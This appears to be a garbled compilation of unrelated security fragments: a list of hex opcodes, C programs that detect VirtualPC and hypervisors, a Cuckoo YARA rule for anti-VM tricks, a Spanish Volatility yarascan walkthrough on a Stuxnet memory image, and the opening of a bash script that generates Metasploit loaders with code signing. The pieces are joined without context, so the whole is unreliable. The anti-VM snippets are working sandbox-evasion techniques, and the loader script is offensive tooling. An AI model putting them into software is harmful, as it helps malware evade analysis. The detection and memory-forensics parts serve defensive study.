 \xF\x3F\x1\xB1
 \xF\x3F\x5\xB1
 \xF\x3F\x7\xB1
 \xF\x3F\xD\xB1
 \xF\x3F\x10\xB1
 \xF\x3F\x1\xB2
 \xF\x3F\x5\xB2
 \xF\x3F\x7\xB2
 \xF\x3F\xD\xB2
 \xF\x3F\x10\xB2
 \xF\x3F\x1\xB3
 \xF\x3F\x5\xB3
 \xF\x3F\x7\xB3
 \xF\x3F\xD\xB3
 \xF\x3F\x10\xB3
 \xF\x3F\x1\xB4
 \xF\x3F\x5\xB4
 \xF\x3F\x7\xB4
 \xF\x3F\xD\xB4
 \xF\x3F\x10\xB4
 \xF\x3F\x1\xB5
 \xF\x3F\x5\xB5
 \xF\x3F\x7\xB5
 \xF\x3F\xD\xB5
 \xF\x3F\x10\xB5
 \xF\x3F\x1\xB6
 \xF\x3F\x5\xB6
 \xF\x3F\x7\xB6
 \xF\x3F\xD\xB6
 \xF\x3F\x10\xB6
 \xF\x3F\x1\xB7
 \xF\x3F\x5\xB7
 \xF\x3F\x7\xB7
 \xF\x3F\xD\xB7
 \xF\x3F\x10\xB7
 \xF\x3F\x1\xB8
 \xF\x3F\x5\xB8
 \xF\x3F\x7\xB8
 \xF\x3F\xD\xB8
 \xF\x3F\x10\xB8
 \xF\x3F\x1\xB9
 \xF\x3F\x5\xB9
 \xF\x3F\x7\xB9
 \xF\x3F\xD\xB9
 \xF\x3F\x10\xB9
 \xF\x3F\x1\xBA
 \xF\x3F\x5\xBA
 \xF\x3F\x7\xBA
 \xF\x3F\xD\xBA
 \xF\x3F\x10\xBA
 \xF\x3F\x1\xBB
 \xF\x3F\x5\xBB
 \xF\x3F\x7\xBB
 \xF\x3F\xD\xBB
 \xF\x3F\x10\xBB
 \xF\x3F\x1\xBC
 \xF\x3F\x5\xBC
 \xF\x3F\x7\xBC
 \xF\x3F\xD\xBC
 \xF\x3F\x10\xBC
 \xF\x3F\x1\xBD
 \xF\x3F\x5\xBD
 \xF\x3F\x7\xBD
 \xF\x3F\xD\xBD
 \xF\x3F\x10\xBD
 \xF\x3F\x1\xBE
 \xF\x3F\x5\xBE
 \xF\x3F\x7\xBE
 \xF\x3F\xD\xBE
 \xF\x3F\x10\xBE
 \xF\x3F\x1\xBF
 \xF\x3F\x5\xBF
 \xF\x3F\x7\xBF
 \xF\x3F\xD\xBF
 \xF\x3F\x10\xBF
 \xF\x3F\x1\xC0
 \xF\x3F\x5\xC0
 \xF\x3F\x7\xC0
 \xF\x3F\xD\xC0
 \xF\x3F\x10\xC0
 \xF\x3F\x1\xC1
 \xF\x3F\x5\xC1
 \xF\x3F\x7\xC1
 \xF\x3F\xD\xC1
 \xF\x3F\x10\xC1
 \xF\x3F\x1\xC2
 \xF\x3F\x5\xC2
 \xF\x3F\x7\xC2
 \xF\x3F\xD\xC2
 \xF\x3F\x10\xC2
 \xF\x3F\x1\xC3
 \xF\x3F\x5\xC3
 \xF\x3F\x7\xC3
 \xF\x3F\xD\xC3
 \xF\x3F\x10\xC3
 \xF\x3F\x1\xC4
 \xF\x3F\x5\xC4
 \xF\x3F\x7\xC4
 \xF\x3F\xD\xC4
 \xF\x3F\x10\xC4
 \xF\x3F\x1\xC5
 \xF\x3F\x5\xC5
 \xF\x3F\x7\xC5
 \xF\x3F\xD\xC5
 \xF\x3F\x10\xC5
 \xF\x3F\x1\xC6
 \xF\x3F\x5\xC6
 \xF\x3F\x7\xC6
 \xF\x3F\xD\xC6
 \xF\x3F\x10\xC6
 \xF\x3F\x1\xC7
 \xF\x3F\x5\xC7
 \xF\x3F\x7\xC7
 \xF\x3F\xD\xC7
 \xF\x3F\x10\xC7
 \xF\x3F\x1\xC8
 \xF\x3F\x5\xC8
 \xF\x3F\x7\xC8
 \xF\x3F\xD\xC8
 \xF\x3F\x10\xC8
 \xF\x3F\x1\xC9
 \xF\x3F\x5\xC9
 \xF\x3F\x7\xC9
 \xF\x3F\xD\xC9
 \xF\x3F\x10\xC9
 \xF\x3F\x1\xCA
 \xF\x3F\x5\xCA
 \xF\x3F\x7\xCA
 \xF\x3F\xD\xCA
 \xF\x3F\x10\xCA
 \xF\x3F\x1\xCB
 \xF\x3F\x5\xCB
 \xF\x3F\x7\xCB
 \xF\x3F\xD\xCB
 \xF\x3F\x10\xCB
 \xF\x3F\x1\xCC
 \xF\x3F\x5\xCC
 \xF\x3F\x7\xCC
 \xF\x3F\xD\xCC
 \xF\x3F\x10\xCC
 \xF\x3F\x1\xCD
 \xF\x3F\x5\xCD
 \xF\x3F\x7\xCD
 \xF\x3F\xD\xCD
 \xF\x3F\x10\xCD
 \xF\x3F\x1\xCE
 \xF\x3F\x5\xCE
 \xF\x3F\x7\xCE
 \xF\x3F\xD\xCE
 \xF\x3F\x10\xCE
 \xF\x3F\x1\xCF
 \xF\x3F\x5\xCF
 \xF\x3F\x7\xCF
 \xF\x3F\xD\xCF
 \xF\x3F\x10\xCF
 \xF\x3F\x1\xD0
 \xF\x3F\x5\xD0
 \xF\x3F\x7\xD0
 \xF\x3F\xD\xD0
 \xF\x3F\x10\xD0
 \xF\x3F\x1\xD1
 \xF\x3F\x5\xD1
 \xF\x3F\x7\xD1
 \xF\x3F\xD\xD1
 \xF\x3F\x10\xD1
 \xF\x3F\x1\xD2
 \xF\x3F\x5\xD2
 \xF\x3F\x7\xD2
 \xF\x3F\xD\xD2
 \xF\x3F\x10\xD2
 \xF\x3F\x1\xD3
 \xF\x3F\x5\xD3
 \xF\x3F\x7\xD3
 \xF\x3F\xD\xD3
 \xF\x3F\x10\xD3
 \xF\x3F\x1\xD4
 \xF\x3F\x5\xD4
 \xF\x3F\x7\xD4
 \xF\x3F\xD\xD4
 \xF\x3F\x10\xD4
 \xF\x3F\x1\xD5
 \xF\x3F\x5\xD5
 \xF\x3F\x7\xD5
 \xF\x3F\xD\xD5
 \xF\x3F\x10\xD5
 \xF\x3F\x1\xD6
 \xF\x3F\x5\xD6
 \xF\x3F\x7\xD6
 \xF\x3F\xD\xD6
 \xF\x3F\x10\xD6
 \xF\x3F\x1\xD7
 \xF\x3F\x5\xD7
 \xF\x3F\x7\xD7
 \xF\x3F\xD\xD7
 \xF\x3F\x10\xD7
 \xF\x3F\x1\xD8
 \xF\x3F\x5\xD8
 \xF\x3F\x7\xD8
 \xF\x3F\xD\xD8
 \xF\x3F\x10\xD8
 \xF\x3F\x1\xD9
 \xF\x3F\x5\xD9
 \xF\x3F\x7\xD9
 \xF\x3F\xD\xD9
 \xF\x3F\x10\xD9
 \xF\x3F\x1\xDA
 \xF\x3F\x5\xDA
 \xF\x3F\x7\xDA
 \xF\x3F\xD\xDA
 \xF\x3F\x10\xDA
 \xF\x3F\x1\xDB
 \xF\x3F\x5\xDB
 \xF\x3F\x7\xDB
 \xF\x3F\xD\xDB
 \xF\x3F\x10\xDB
 \xF\x3F\x1\xDC
 \xF\x3F\x5\xDC
 \xF\x3F\x7\xDC
 \xF\x3F\xD\xDC
 \xF\x3F\x10\xDC
 \xF\x3F\x1\xDD
 \xF\x3F\x5\xDD
 \xF\x3F\x7\xDD
 \xF\x3F\xD\xDD
 \xF\x3F\x10\xDD
 \xF\x3F\x1\xDE
 \xF\x3F\x5\xDE
 \xF\x3F\x7\xDE
 \xF\x3F\xD\xDE
 \xF\x3F\x10\xDE
 \xF\x3F\x1\xDF
 \xF\x3F\x5\xDF
 \xF\x3F\x7\xDF
 \xF\x3F\xD\xDF
 \xF\x3F\x10\xDF
 \xF\x3F\x1\xE0
 \xF\x3F\x5\xE0
 \xF\x3F\x7\xE0
 \xF\x3F\xD\xE0
 \xF\x3F\x10\xE0
 \xF\x3F\x1\xE1
 \xF\x3F\x5\xE1
 \xF\x3F\x7\xE1
 \xF\x3F\xD\xE1
 \xF\x3F\x10\xE1
 \xF\x3F\x1\xE2
 \xF\x3F\x5\xE2
 \xF\x3F\x7\xE2
 \xF\x3F\xD\xE2
 \xF\x3F\x10\xE2
 \xF\x3F\x1\xE3
 \xF\x3F\x5\xE3
 \xF\x3F\x7\xE3
 \xF\x3F\xD\xE3
 \xF\x3F\x10\xE3
 \xF\x3F\x1\xE4
 \xF\x3F\x5\xE4
 \xF\x3F\x7\xE4
 \xF\x3F\xD\xE4
 \xF\x3F\x10\xE4
 \xF\x3F\x1\xE5
 \xF\x3F\x5\xE5
 \xF\x3F\x7\xE5
 \xF\x3F\xD\xE5
 \xF\x3F\x10\xE5
 \xF\x3F\x1\xE6
 \xF\x3F\x5\xE6
 \xF\x3F\x7\xE6
 \xF\x3F\xD\xE6
 \xF\x3F\x10\xE6
 \xF\x3F\x1\xE7
 \xF\x3F\x5\xE7
 \xF\x3F\x7\xE7
 \xF\x3F\xD\xE7
 \xF\x3F\x10\xE7
 \xF\x3F\x1\xE8
 \xF\x3F\x5\xE8
 \xF\x3F\x7\xE8
 \xF\x3F\xD\xE8
 \xF\x3F\x10\xE8
 \xF\x3F\x1\xE9
 \xF\x3F\x5\xE9
 \xF\x3F\x7\xE9
 \xF\x3F\xD\xE9
 \xF\x3F\x10\xE9
 \xF\x3F\x1\xEA
 \xF\x3F\x5\xEA
 \xF\x3F\x7\xEA
 \xF\x3F\xD\xEA
 \xF\x3F\x10\xEA
 \xF\x3F\x1\xEB
 \xF\x3F\x5\xEB
 \xF\x3F\x7\xEB
 \xF\x3F\xD\xEB
 \xF\x3F\x10\xEB
 \xF\x3F\x1\xEC
 \xF\x3F\x5\xEC
 \xF\x3F\x7\xEC
 \xF\x3F\xD\xEC
 \xF\x3F\x10\xEC
 \xF\x3F\x1\xED
 \xF\x3F\x5\xED
 \xF\x3F\x7\xED
 \xF\x3F\xD\xED
 \xF\x3F\x10\xED
 \xF\x3F\x1\xEE
 \xF\x3F\x5\xEE
 \xF\x3F\x7\xEE
 \xF\x3F\xD\xEE
 \xF\x3F\x10\xEE
 \xF\x3F\x1\xEF
 \xF\x3F\x5\xEF
 \xF\x3F\x7\xEF
 \xF\x3F\xD\xEF
 \xF\x3F\x10\xEF
 \xF\x3F\x1\xF0
 \xF\x3F\x5\xF0
 \xF\x3F\x7\xF0
 \xF\x3F\xD\xF0
 \xF\x3F\x10\xF0
 \xF\x3F\x1\xF1
 \xF\x3F\x5\xF1
 \xF\x3F\x7\xF1
 \xF\x3F\xD\xF1
 \xF\x3F\x10\xF1
 \xF\x3F\x1\xF2
 \xF\x3F\x5\xF2
 \xF\x3F\x7\xF2
 \xF\x3F\xD\xF2
 \xF\x3F\x10\xF2
 \xF\x3F\x1\xF3
 \xF\x3F\x5\xF3
 \xF\x3F\x7\xF3
 \xF\x3F\xD\xF3
 \xF\x3F\x10\xF3
 \xF\x3F\x1\xF4
 \xF\x3F\x5\xF4
 \xF\x3F\x7\xF4
 \xF\x3F\xD\xF4
 \xF\x3F\x10\xF4
 \xF\x3F\x1\xF5
 \xF\x3F\x5\xF5
 \xF\x3F\x7\xF5
 \xF\x3F\xD\xF5
 \xF\x3F\x10\xF5
 \xF\x3F\x1\xF6
 \xF\x3F\x5\xF6
 \xF\x3F\x7\xF6
 \xF\x3F\xD\xF6
 \xF\x3F\x10\xF6
 \xF\x3F\x1\xF7
 \xF\x3F\x5\xF7
 \xF\x3F\x7\xF7
 \xF\x3F\xD\xF7
 \xF\x3F\x10\xF7
 \xF\x3F\x1\xF8
 \xF\x3F\x5\xF8
 \xF\x3F\x7\xF8
 \xF\x3F\xD\xF8
 \xF\x3F\x10\xF8
 \xF\x3F\x1\xF9
 \xF\x3F\x5\xF9
 \xF\x3F\x7\xF9
 \xF\x3F\xD\xF9
 \xF\x3F\x10\xF9
 \xF\x3F\x1\xFA
 \xF\x3F\x5\xFA
 \xF\x3F\x7\xFA
 \xF\x3F\xD\xFA
 \xF\x3F\x10\xFA
 \xF\x3F\x1\xFB
 \xF\x3F\x5\xFB
 \xF\x3F\x7\xFB
 \xF\x3F\xD\xFB
 \xF\x3F\x10\xFB
 \xF\x3F\x1\xFC
 \xF\x3F\x5\xFC
 \xF\x3F\x7\xFC
 \xF\x3F\xD\xFC
 \xF\x3F\x10\xFC
 \xF\x3F\x1\xFD
 \xF\x3F\x5\xFD
 \xF\x3F\x7\xFD
 \xF\x3F\xD\xFD
 \xF\x3F\x10\xFD
 \xF\x3F\x1\xFE
 \xF\x3F\x5\xFE
 \xF\x3F\x7\xFE
 \xF\x3F\xD\xFE
 \xF\x3F\x10\xFE
 \xF\x3F\x1\xFF
 \xF\x3F\x5\xFF
 \xF\x3F\x7\xFF
 \xF\x3F\xD\xFF
 \xF\x3F\x10\xFF

//http://waleedassar.blogspot.com (@waleedassar)
 //Executing "\x0F\xC7\xC8\x05\x00" in VirtualPC 2007 triggers a reset error.
 #include "stdafx.h"
 #include "windows.h"
 #include "stdio.h"

 bool flag=false;

 int __cdecl Handler(EXCEPTION_RECORD* pRec,void* est,unsigned char* pContext,void* disp)
 {
     if(pRec->ExceptionCode==0xC000001D  || pRec->ExceptionCode==0xC000001E || pRec->ExceptionCode==0xC0000005)
     {
         flag=true;
         (*(unsigned long*)(pContext+0xB8))+=5;
         return ExceptionContinueExecution;
     }
     return ExceptionContinueSearch;
 }



 int main(int argc, char* argv[])
 {
     __asm
     {
         push offset Handler
         push dword ptr fs:[0x0]
         mov dword ptr fs:[0x0],esp
     }
     flag=false;
     __asm
     {
         __emit 0x0F
         __emit 0xC7
         __emit 0xC8
         __emit 0x05
         __emit 0x00
     }
     if(flag==false)
     {
           MessageBox(0,"VirtualPC detected","waliedassar",0);
     }
     __asm
     {
         pop dword ptr fs:[0x0]
         pop eax
     }
     return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //A method to detect VirtualPC
 #include "stdafx.h"
 #include "windows.h"
 #include "stdio.h"

 int __cdecl Handler(EXCEPTION_RECORD* pRec,void* est,unsigned char* pContext,void* disp)
 {
     if(pRec->ExceptionCode==EXCEPTION_SINGLE_STEP)
     {
         return ExceptionContinueExecution;
     }
     return ExceptionContinueSearch;
 }


 int main(int argc, char* argv[])
 {
     unsigned long x=0;
     __asm
     {
         push offset Handler
         push dword ptr fs:[0x0]
                 mov dword ptr fs:[0x0],esp

         pushad
         xor eax,eax
         xor ecx,ecx
         xor edx,edx
         xor ebx,ebx
         pushfd
         pop esi
         or esi,0x100 ;Trap flag
         push esi
         popfd
         CPUID
         pushfd
         pop eax
         mov x,eax
                 popad
         pop dword ptr fs:[0x0]
         pop eax
     }
     if(x&0x100)
     {
         MessageBox(0,"Virtual Machine detected","waliedassar",0);
         ExitProcess(3);
     }
     return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //Detect Hypervisors
 #include "stdafx.h"
 #include "windows.h"
 #include "stdio.h"

 int main(int argc, char* argv[])
 {
     bool x=0;
     __asm
     {
         pushad
         pushfd
         pop eax
         or eax,0x00200000
         push eax
         popfd
         pushfd
         pop eax
         and eax,0x00200000
         jz CPUID_NOT_SUPPORTED ;Are you still alive?
         xor eax,eax
         xor edx,edx
         xor ecx,ecx
         xor ebx,ebx
         inc eax ;processor info and feature bits
         cpuid
         test ecx,0x80000000 ;Hypervisor present
         jnz Hypervisor
         mov x,0
         jmp bye
 Hypervisor:
         mov x,1
         jmp bye
 CPUID_NOT_SUPPORTED:
         mov x,2
 bye:
         popad
     }
     if(x==1)
     {
         MessageBox(0,"Hypervisor detected","waliedassar",0);
         ExitProcess(3);
     }
     return 0;
 }

// Copyright (C) 2010-2014 Cuckoo Foundation.
// This file is part of Cuckoo Sandbox - http://www.cuckoosandbox.org
// See the file 'docs/LICENSE' for copying permission.

rule vmdetect
{
    meta:
        author = "nex"
        description = "Possibly employs anti-virtualization techniques"

    strings:
        // Binary tricks
        $vmware = {56 4D 58 68}
        $virtualpc = {0F 3F 07 0B}
        $ssexy = {66 0F 70 ?? ?? 66 0F DB ?? ?? ?? ?? ?? 66 0F DB ?? ?? ?? ?? ?? 66 0F EF}
        $vmcheckdll = {45 C7 00 01}
        $redpill = {0F 01 0D 00 00 00 00 C3}

        // Random strings
        $vmware1 = "VMXh"
        $vmware2 = "Ven_VMware_" nocase
        $vmware3 = "Prod_VMware_Virtual_" nocase
        $vmware4 = "hgfs.sys" nocase
        $vmware5 = "mhgfs.sys" nocase
        $vmware6 = "prleth.sys" nocase
        $vmware7 = "prlfs.sys" nocase
        $vmware8 = "prlmouse.sys" nocase
        $vmware9 = "prlvideo.sys" nocase
        $vmware10 = "prl_pv32.sys" nocase
        $vmware11 = "vpc-s3.sys" nocase
        $vmware12 = "vmsrvc.sys" nocase
        $vmware13 = "vmx86.sys" nocase
        $vmware14 = "vmnet.sys" nocase
        $vmware15 = "vmicheartbeat" nocase
        $vmware16 = "vmicvss" nocase
        $vmware17 = "vmicshutdown" nocase
        $vmware18 = "vmicexchange" nocase
        $vmware19 = "vmdebug" nocase
        $vmware20 = "vmmouse" nocase
        $vmware21 = "vmtools" nocase
        $vmware22 = "VMMEMCTL" nocase
        $vmware23 = "vmx86" nocase
        $vmware24 = "vmware" nocase
        $virtualpc1 = "vpcbus" nocase
        $virtualpc2 = "vpc-s3" nocase
        $virtualpc3 = "vpcuhub" nocase
        $virtualpc4 = "msvmmouf" nocase
        $xen1 = "xenevtchn" nocase
        $xen2 = "xennet" nocase
        $xen3 = "xennet6" nocase
        $xen4 = "xensvc" nocase
        $xen5 = "xenvdb" nocase
        $xen6 = "XenVMM" nocase
        $virtualbox1 = "VBoxHook.dll" nocase
        $virtualbox2 = "VBoxService" nocase
        $virtualbox3 = "VBoxTray" nocase
        $virtualbox4 = "VBoxMouse" nocase
        $virtualbox5 = "VBoxGuest" nocase
        $virtualbox6 = "VBoxSF" nocase
        $virtualbox7 = "VBoxGuestAdditions" nocase
        $virtualbox8 = "VBOX HARDDISK"  nocase

        // MAC addresses
        $vmware_mac_1a = "00-05-69"
        $vmware_mac_1b = "00:05:69"
        $vmware_mac_1c = "000569"
        $vmware_mac_2a = "00-50-56"
        $vmware_mac_2b = "00:50:56"
        $vmware_mac_2c = "005056"
        $vmware_mac_3a = "00-0C-29" nocase
        $vmware_mac_3b = "00:0C:29" nocase
        $vmware_mac_3c = "000C29" nocase
        $vmware_mac_4a = "00-1C-14" nocase
        $vmware_mac_4b = "00:1C:14" nocase
        $vmware_mac_4c = "001C14" nocase
        $virtualbox_mac_1a = "08-00-27"
        $virtualbox_mac_1b = "08:00:27"
        $virtualbox_mac_1c = "080027"

    condition:
        any of them
}

• https://resources.infosecinstitute.com/how-malware-detects-virtualized-environment-and-its-countermeasures-an-overview/
• https://handlers.sans.org/tliston/ThwartingVMDetection_Liston_Skoudis.pdf
• http://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf 
• https://reverseengineering.stackexchange.com/questions/1686/how-to-detect-a-virtualized-environment
• https://kb.vmware.com/s/article/1005763
• https://www.codeproject.com/Articles/9823/Detect-if-your-program-is-running-inside-a-Virtual
• https://www.andreafortuna.org/cybersecurity/avoid-malwares-vm-detection-with-antivmdetection/
• https://pdfs.semanticscholar.org/9c15/235735f06fd5cd708345b6694525238a82f4.pdf
• https://github.com/spender-sandbox/cuckoo-modified/issues/41
• https://www.cyberbit.com/blog/endpoint-security/anti-vm-and-anti-sandbox-explained
• https://superuser.com/questions/625648/virtualbox-how-to-force-a-specific-cpu-to-the-guest
• https://www.sentinelone.com/blog/anti-vm-tricks/
• https://resources.infosecinstitute.com/anti-debugging-and-anti-vm-techniques-and-anti-emulation/#gref 

Aunque prácticamente todos los parámetros de Volatility pueden ayudarnos a encontrar e identificar malware en volcados de memoria, hay algunos que fueron diseñados específicamente para cazar rootkits y código malicioso. Uno de ellos es el plugin "yarascan", que nos puede ayudar a encontrar mediante reglas Yara cualquier secuencia de bytes (como instrucciones de ensamblador con wild cards), expresiones regulares, cadenas ANSI o cadenas Unicode en el modo de usuario o en la memoria del kernel.

Al usar las reglas específicas de Yara, una de las "navajas suizas" de los analistas, se puede detectar la presencia de artefactos relacionados con las familias de malware más comunes en la imagen de memoria analizada.

Para el ejemplo de este post usaremos una muestra de memoria disponible online, como el archivo stuxnet.vmem, que los autores del libro The Malware Analyst Cookbook's hicieron para practicar y que proviene de una máquina virtual infectada con Stuxnet.

Una vez descargada la imagen, lo primero que haremos como siempre será ejecutar una pequeña identificación:

$ volatility -f stuxnet.vmem imageinfo

Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/tools/hunting/stuxnet.vmem)
                      PAE type : PAE
                           DTB : 0x319000L
                          KDBG : 0x80545ae0L
          Number of Processors : 1
     Image Type (Service Pack) : 3
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2011-06-03 04:31:36 UTC+0000
     Image local date and time : 2011-06-03 00:31:36 -0400

#!/usr/bin/env python
# encoding: utf-8

import os
import shutil

def get_rules_from_git():
 shutil.rmtree("./rules")
 os.system("git clone https://github.com/Yara-Rules/rules.git")

def list_yara_files():
 all_yara_files = []
 for root, directories, filenames in os.walk("./rules/malware"):
  print ("Processing " + root)
  filenames.sort()
  for file_name in filenames:
   rule_filename, rule_file_extension = os.path.splitext(file_name)
   if rule_file_extension == ".yar" or rule_file_extension == ".yara":
    all_yara_files.append(os.path.join(root, file_name))
 return all_yara_files

def remove_incompatible_imports(files):
 filtered_files = []
 for yara_file in files:
  with open(yara_file, 'r') as fd:
   yara_in_file = fd.read()
   if not (("import \"math\"" in yara_in_file) or ("import \"cuckoo\"" in yara_in_file) or ("import \"hash\"" in yara_in_file) or ("imphash" in yara_in_file)):
    filtered_files.append(yara_file)
 return filtered_files

def fix_duplicated_rules(files):
 filtered_files = []
 first_elf = True
 to_delete = False
 for yara_file in files:
  print ("Processing " + yara_file)
  with open(yara_file, 'r') as fd:
   yara_in_file = fd.readlines()
   for line in yara_in_file:
    if line.strip() == "private rule is__elf {":
     if first_elf:
      first_elf = False
     else:
      to_delete = True
    if not to_delete:
     filtered_files.append(line)
    if (not first_elf) and line.strip() == "}":
     to_delete = False
   filtered_files.append("\n")
 return filtered_files

def merge_rules(all_rules):
 with open("malware_rules.yar", 'w') as fd:
  fd.write(''.join(all_rules))

def main():
 get_rules_from_git()
 all_yara_files = list_yara_files()
 all_yara_filtered_1 = remove_incompatible_imports(all_yara_files)
 all_yara_filtered_2 = fix_duplicated_rules(all_yara_filtered_1)
 merge_rules(all_yara_filtered_2)

# Main body
if __name__ == '__main__':
 main()

$ volatility -f stuxnet.vmem --profile=WinXPSP2x86 yarascan -y malware_rules.yar

Volatility Foundation Volatility Framework 2.6

Rule: StuxNet_Malware_1
Owner: Process lsass.exe Pid 868
0x01002723 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 .E.5.y..3..U....
0x01002733 4a 04 8b 45 08 c7 40 0c 77 35 00 01 33 c0 5e c9 J..E..@.w5..3.^.
0x01002743 c3 55 8b ec 83 ec 2c 83 65 e8 00 83 65 f4 00 83 .U....,.e...e...
0x01002753 65 e4 00 8b 45 20 8b 4d 14 8d 84 01 98 00 00 00 e...E..M........
0x01002763 89 45 f0 8d 45 f4 50 8d 45 e8 50 8d 45 d8 50 ff .E..E.P.E.P.E.P.
0x01002773 75 f0 ff 75 08 e8 14 fe ff ff 83 c4 14 89 45 fc u..u..........E.
0x01002783 83 7d fc 00 74 08 8b 45 fc e9 fd 00 00 00 8b 45 .}..t..E.......E
0x01002793 e8 89 45 f8 8b 45 e8 05 98 00 00 00 89 45 e8 c7 ..E..E.......E..
0x010027a3 45 e4 98 00 00 00 ff 75 20 ff 75 1c 8b 45 f8 05 E......u..u..E..
0x010027b3 84 00 00 00 50 8d 45 e4 50 ff 75 f4 8d 45 e8 50 ....P.E.P.u..E.P
0x010027c3 e8 79 fe ff ff 83 c4 18 8b 45 e8 89 45 dc ff 75 .y.......E..E..u
0x010027d3 14 ff 75 10 8b 45 f8 05 8c 00 00 00 50 8d 45 e4 ..u..E......P.E.
0x010027e3 50 ff 75 f4 8d 45 e8 50 e8 51 fe ff ff 83 c4 18 P.u..E.P.Q......
0x010027f3 8b 45 dc 89 45 ec 81 7d 14 00 10 00 00 72 47 8b .E..E..}.....rG.
0x01002803 45 ec 0f b7 00 3d 4d 5a 00 00 75 3a 8b 45 ec 8b E....=MZ..u:.E..
0x01002813 40 3c 05 f8 00 00 00 3b 45 14 73 2a 8b 45 ec 8b @<.....;E.s*.E..

Rule: StuxNet_Malware_1
Owner: Process lsass.exe Pid 868
0x01002eb5 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 t6......t.......
0x01002ec5 8d 5c 1f 02 8d 5b fe 3b df 7e 1d 66 83 7b fe 5c .\...[.;.~.f.{.\
0x01002ed5 75 f2 52 53 8d 5a 10 53 e8 bf ff ff ff ff 52 08 u.RS.Z.S......R.
0x01002ee5 5a 85 c0 75 03 40 eb 02 33 c0 5f 5a 59 5b c3 50 Z..u.@..3._ZY[.P
0x01002ef5 51 52 e8 a5 ff ff ff c7 42 04 00 00 00 00 ff 32 QR......B......2
0x01002f05 ff 52 14 59 85 c0 0f 84 b7 00 00 00 50 51 50 54 .R.Y........PQPT
0x01002f15 68 80 00 00 00 6a 18 50 e8 7f ff ff ff ff 52 10 h....j.P......R.
0x01002f25 5a 8b d0 59 58 85 d2 0f 84 96 00 00 00 80 38 b8 Z..YX.........8.
0x01002f35 0f 85 8d 00 00 00 80 78 05 ba 74 70 81 78 05 8d .......x..tp.x..
0x01002f45 54 24 04 75 1b 81 78 08 04 cd 2e c2 75 75 2b c8 T$.u..x.....uu+.
0x01002f55 83 e9 0a 89 48 06 c6 40 05 e8 c6 40 0a 90 eb 63 ....H..@...@...c
0x01002f65 81 78 07 8d 54 24 04 75 5a 81 78 0b 64 ff 15 c0 .x..T$.uZ.x.d...
0x01002f75 75 51 81 78 0f 00 00 00 c2 75 48 52 e8 1b ff ff uQ.x.....uHR....
0x01002f85 ff c7 42 04 01 00 00 00 5a 56 50 53 51 52 8b f0 ..B.....ZVPSQR..
0x01002f95 8b 46 0a 8b 56 0e 2b ce 83 e9 12 bb 04 90 90 e8 .F..V.+.........
0x01002fa5 f0 0f c7 4e 0a 5a 59 5b 58 5e eb 17 66 81 78 0a ...N.ZY[X^..f.x.

Rule: StuxNet_Malware_1
Owner: Process lsass.exe Pid 868
0x01002f3f 74 70 81 78 05 8d 54 24 04 75 1b 81 78 08 04 cd tp.x..T$.u..x...
0x01002f4f 2e c2 75 75 2b c8 83 e9 0a 89 48 06 c6 40 05 e8 ..uu+.....H..@..
0x01002f5f c6 40 0a 90 eb 63 81 78 07 8d 54 24 04 75 5a 81 .@...c.x..T$.uZ.
0x01002f6f 78 0b 64 ff 15 c0 75 51 81 78 0f 00 00 00 c2 75 x.d...uQ.x.....u
0x01002f7f 48 52 e8 1b ff ff ff c7 42 04 01 00 00 00 5a 56 HR......B.....ZV
0x01002f8f 50 53 51 52 8b f0 8b 46 0a 8b 56 0e 2b ce 83 e9 PSQR...F..V.+...
0x01002f9f 12 bb 04 90 90 e8 f0 0f c7 4e 0a 5a 59 5b 58 5e .........N.ZY[X^
0x01002faf eb 17 66 81 78 0a ff d2 74 0c 66 81 78 0a ff 12 ..f.x...t.f.x...
0x01002fbf 75 07 c6 40 0b d2 89 48 06 58 c3 00 00 90 7c 00 u..@...H.X....|.
0x01002fcf 00 00 00 26 aa 80 7c 61 ba 80 7c d4 1a 80 7c 30 ...&..|a..|...|0
0x01002fdf ae 80 7c 95 b9 80 7c 04 ba 80 7c d4 55 83 7c db ..|...|...|.U.|.
0x01002fef ae 80 7c 6e ac 80 7c 60 d1 90 7c 00 d5 90 7c c7 ..|n..|`..|...|.
0x01002fff 06 81 7c 30 25 80 7c 1d 14 82 7c d0 cf 90 7c 8b ..|0%.|...|...|.
0x0100300f 44 24 04 85 c0 75 08 8b 44 24 08 c6 00 00 c3 8b D$...u..D$......
0x0100301f 4c 24 08 eb 03 40 40 41 8a 10 80 f2 12 88 11 75 L$...@@A.......u
0x0100302f f4 c3 8b 4c 24 04 85 c9 75 0a 8b 4c 24 08 33 c0 ...L$...u..L$.3.
....
....

• Andrew Robbins (@_wald0)
• Will Schroeder (@harmj0y)
• Sean Metcalf (@PyroTek3)
• Rohan Vazarkar (@CptJesus)
• Elad Shamir (@elad_shamir)
• Benjamin Delpy (@gentilkiwi)
• Carlos García García

#!/bin/bash
clear
echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo " Based on NinjaParanoid's CarbonCopy "
echo ""
echo " For Debian based system Ubuntu/Mint "
echo " PE32+ executable (GUI) x86-64 "
echo "****************************************************************"

# Check if we are on Debian/Ubuntu 
if [ $(which dpkg-query | grep -c "dpkg-query") -eq 0 ]; 
then echo "[-] no dpkg-query found in path, not Debian/Ubuntu based system, manually change the scipt"
echo " This script relies on dpkg-query to check for required packages, if running on other platform"
echo " Simply remove the section starting from #Debian-start and finishing at #Debian-end"
echo " Make sure you manually install the dependant packages"
echo ""
echo "- mingw-w64 "
echo "- python-openssl"
echo "- osslsigncode"
exit
fi

echo "[*] Checking if required software is installed "
dpkg --get-selections mingw-w64 python-openssl osslsigncode 
if [ $(dpkg-query -W -f='${Status}' mingw-w64 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing mingw-w64 run apt-get install mingw-w64"
exit
fi
if [ $(dpkg-query -W -f='${Status}' python-openssl 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing python-openssl run apt-get install python3-openssl"
exit
fi
